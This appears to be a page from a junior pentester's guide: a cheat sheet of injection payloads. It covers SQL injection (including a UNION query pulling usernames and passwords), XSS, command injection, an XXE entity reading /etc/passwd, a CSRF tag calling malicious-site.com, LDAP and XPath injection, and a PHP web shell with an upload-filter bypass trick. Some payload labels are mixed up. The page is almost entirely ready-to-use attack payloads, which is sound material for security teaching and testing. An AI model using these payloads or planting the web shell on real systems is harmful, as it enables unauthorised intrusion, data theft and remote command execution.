> For the complete documentation index, see [llms.txt](https://d3ndr1t30x.gitbook.io/breaking-things-a-junior-pentesters-guide/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d3ndr1t30x.gitbook.io/breaking-things-a-junior-pentesters-guide/basic-injection-cheat-sheet.md).

# Basic injection cheat sheet

example payloads for different well-known types of injection attacks:

**1. SQL Injection Payloads:**

* **Union-Based SQL Injection Payload:** Use this payload to extract data through a UNION statement.
* ```graphql
  ' UNION SELECT null, username, password FROM users --
  ```
* **Blind SQL Injection Payload (Boolean-Based):** Use this payload for Boolean-based blind SQL injection.
* ```scss
  ' OR IF(1=1, SLEEP(5), 0) --
  ```
* **Blind SQL Injection Payload (Time-Based):** Use this payload for time-based blind SQL injection.

  ```
  ' OR IF(1=1, BENCHMARK(5000000,MD5(CHAR(115,113,108,109))), 0) --
  ```

**2. Cross-Site Scripting (XSS) Payloads:**

* **Basic Stored XSS Payload:** Use this payload to perform a stored XSS attack.
* ```php-template
  <script>alert('XSS')</script>
  ```
* **DOM-based XSS Payload:** Use this payload to exploit DOM-based XSS vulnerabilities.

  ```
  <img src="x" onerror="alert('XSS')">
  ```

**3. Command Injection Payload:**

* **Basic Command Injection Payload:** Use this payload to test for command injection vulnerabilities.
* ```bash
  ; ls
  ```

**4. XML Injection Payloads:**

* **Entity Expansion XML Payload:** Use this payload to test for XML entity expansion vulnerabilities.
* ```xml
  <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
  <data>&xxe;</data>
  ```

**5. Cross-Site Request Forgery (CSRF) Payloads:**

* **Basic CSRF Payload:** Use this payload to create a basic CSRF attack.
* ```html
  <img src="http://malicious-site.com/csrf?cookie=" />
  ```

**6. LDAP Injection Payload:**

* **Basic LDAP Injection Payload:** Use this payload to test for LDAP injection vulnerabilities.
* ```scss
  (|(sn=*))(&)(uid=admin)
  ```

**7. XPath Injection Payload:**

* **Basic XPath Injection Payload:** Use this payload to test for XPath injection vulnerabilities.
* ```bash
  ' or 1=1 or 'a'='a
  ```

#### 8. RCE on PHP web app

```
<?php system($_REQUEST['cmd']); ?>
```

Adding magic bytes to the beginning of the code and changing the title from shell.php to shell.php.png can potentially bypass upload filters.

<figure><img src="https://2288465892-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDIt8oNqqCdL9Vt3UR8bR%2Fuploads%2Fe2ouXlq0agA156wRMfQW%2Fimage.png?alt=media&amp;token=3691f75d-bc27-4a1a-b2fb-79978da59881" alt=""><figcaption></figcaption></figure>
